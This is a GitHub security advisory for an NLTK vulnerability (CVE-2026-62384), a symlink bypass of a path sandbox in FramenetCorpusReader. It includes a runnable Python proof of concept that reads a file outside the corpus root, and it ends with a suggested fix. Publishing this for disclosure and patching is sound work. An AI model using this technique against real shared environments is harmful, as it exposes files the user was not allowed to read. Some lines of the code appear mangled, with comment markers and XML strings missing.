GitHub Advisoryadvisory · PyPI
GHSA-f833-7jw8-xwrv NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)
HIGH
Official page ↗
- Aliases
- CVE-2026-62384
- Ecosystem
- PyPI
- Packages
- nltk
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-22, CWE-59
- Reviewed
- 2026-09-08
Affected packages
• PyPI nltk: >= 3.10.0, < 3.10.2 → fixed in 3.10.2
Description
This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.
Summary
The original advisory was fixed (PR #3581) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`'s own fix for its sibling advisory) correctly use elsewhere in this same codebase.
A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.
Affected code (`nltk/corpus/reader/framenet.py`)
• `frame_by_name()` reads `/.xml`
• `_lu_file()` reads `/lu.xml`
• `doc()` reads `/`
All three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.
Proof of concept
Self-contained, runnable end to end.
```python
import os
import tempfile
from nltk.corpus.reader.framenet import FramenetCorpusReader
root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)
with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
f.write("")
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
f.write(
''
"THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT"
""
)
Attacker plants this inside /frame/. No path separators,
so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)
reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}} # skip unrelated index build
result = reader.frame_by_name("evil_link") # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])
```
Actual output when run against unpatched `main` (commit `35813c8`):
```
frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT
```
That content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `"evil_link"` contains no separators, `..`, or drive prefix.
Verified the same way for the other two affected call sites, `_lu_file()` (`lu.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.
Why this is in scope
• No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own `SECURITY.md` names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call.
• Core corpus-reader code, not a demo/GUI tool.
• Confirmed unintentional: PR #3581's own description states the goal was to route through "the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).
Suggested fix
Route all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.
Related
Alias · CVE (1)
- CVE-2026-62384 NLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML… vulnerability
References
- https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv web
- https://nvd.nist.gov/vuln/detail/CVE-2026-62384 advisory
- https://github.com/nltk/nltk/pull/3726 web
- https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d web
- https://github.com/nltk/nltk package
- https://github.com/nltk/nltk/releases/tag/v3.10.2 web
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml web
- https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before web